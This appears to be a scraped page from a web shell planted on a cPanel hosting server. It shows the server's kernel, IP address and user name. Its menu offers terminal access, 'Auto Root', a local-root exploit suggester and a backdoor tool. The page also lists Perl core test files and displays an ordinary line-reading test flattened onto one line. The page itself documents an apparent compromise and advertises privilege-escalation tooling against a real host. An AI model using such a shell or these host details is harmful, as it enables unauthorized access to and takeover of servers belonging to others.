Linux cpanel2.daytoncreative.net 2.6.32-754.29.2.el6.x86_64 #1 SMP Tue May 12 17:39:04 UTC 2020 x86_64
Apache/2.4.43 (cPanel) OpenSSL/1.1.1g mod_bwlimited/1.4
Server IP : 70.62.220.67 & Your IP : 216.73.216.193
Domains :
Cant Read [ /etc/named.conf ]
User : michaelgreg
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
log /
perl-5.20.2 /
t /
comp /
Delete
Unzip
Name
Size
Permission
Date
Action
bproto.t
939
B
-r--r--r--
2014-12-27 11:49
cmdopt.t
3.14
KB
-r--r--r--
2014-12-27 11:49
colon.t
3.24
KB
-r--r--r--
2014-12-27 11:49
decl.t
549
B
-r--r--r--
2014-12-27 11:49
final_line_num.t
364
B
-r--r--r--
2014-12-27 11:49
fold.t
4.71
KB
-r--r--r--
2014-12-27 11:49
form_scope.t
4.24
KB
-r--r--r--
2014-12-27 11:49
hints.aux
93
B
-r--r--r--
2014-12-27 11:49
hints.t
7.91
KB
-r--r--r--
2014-12-27 11:49
line_debug.t
793
B
-r--r--r--
2014-12-27 11:49
line_debug_0.aux
273
B
-r--r--r--
2014-12-27 11:49
multiline.t
1.7
KB
-r--r--r--
2014-12-27 11:49
opsubs.t
5.67
KB
-r--r--r--
2014-12-27 11:49
our.t
1.5
KB
-r--r--r--
2014-12-27 11:49
package.t
1.5
KB
-r--r--r--
2014-12-27 11:49
package_block.t
2.68
KB
-r--r--r--
2014-12-27 11:49
parser.t
17.53
KB
-r--r--r--
2015-01-15 22:12
proto.t
21.63
KB
-r--r--r--
2014-12-27 11:49
redef.t
2.02
KB
-r--r--r--
2014-12-27 11:49
require.t
11.07
KB
-r--r--r--
2014-12-27 11:49
retainedlines.t
4.08
KB
-r--r--r--
2014-12-27 11:49
term.t
2.29
KB
-r--r--r--
2014-12-27 11:49
uproto.t
3.53
KB
-r--r--r--
2014-12-27 11:49
use.t
7.43
KB
-r--r--r--
2014-12-27 11:49
utf.t
3.13
KB
-r--r--r--
2014-12-27 11:49
Save
Rename
#!./perl print "1..6\n"; my $test = 0; sub failed { my ($got, $expected, $name) = @_; print "not ok $test - $name\n"; my @caller = caller(1); print "# Failed test at $caller[1] line $caller[2]\n"; if (defined $got) { print "# Got '$got'\n"; } else { print "# Got undef\n"; } print "# Expected $expected\n"; return; } sub like { my ($got, $pattern, $name) = @_; $test = $test + 1; if (defined $got && $got =~ $pattern) { print "ok $test - $name\n"; # Principle of least surprise - maintain the expected interface, even # though we aren't using it here (yet). return 1; } failed($got, $pattern, $name); } sub is { my ($got, $expect, $name) = @_; $test = $test + 1; if (defined $got && $got eq $expect) { print "ok $test - $name\n"; return 1; } failed($got, "'$expect'", $name); } my $filename = "multiline$$"; END { 1 while unlink $filename; } open(TRY,'>',$filename) || (die "Can't open $filename: $!"); $x = 'now is the time for all good men to come to. ! '; $y = 'now is the time' . "\n" . 'for all good men' . "\n" . 'to come to.' . "\n\n\n!\n\n"; is($x, $y, 'test data is sane'); print TRY $x; close TRY or die "Could not close: $!"; open(TRY,$filename) || (die "Can't reopen $filename: $!"); $count = 0; $z = ''; while (<TRY>) { $z .= $_; $count = $count + 1; } is($z, $y, 'basic multiline reading'); is($count, 7, ' line count'); is($., 7, ' $.' ); $out = (($^O eq 'MSWin32') || $^O eq 'NetWare') ? `type $filename` : ($^O eq 'VMS') ? `type $filename.;0` # otherwise .LIS is assumed : `cat $filename`; like($out, qr/.*\n.*\n.*\n$/); close(TRY) || (die "Can't close $filename: $!"); is($out, $y);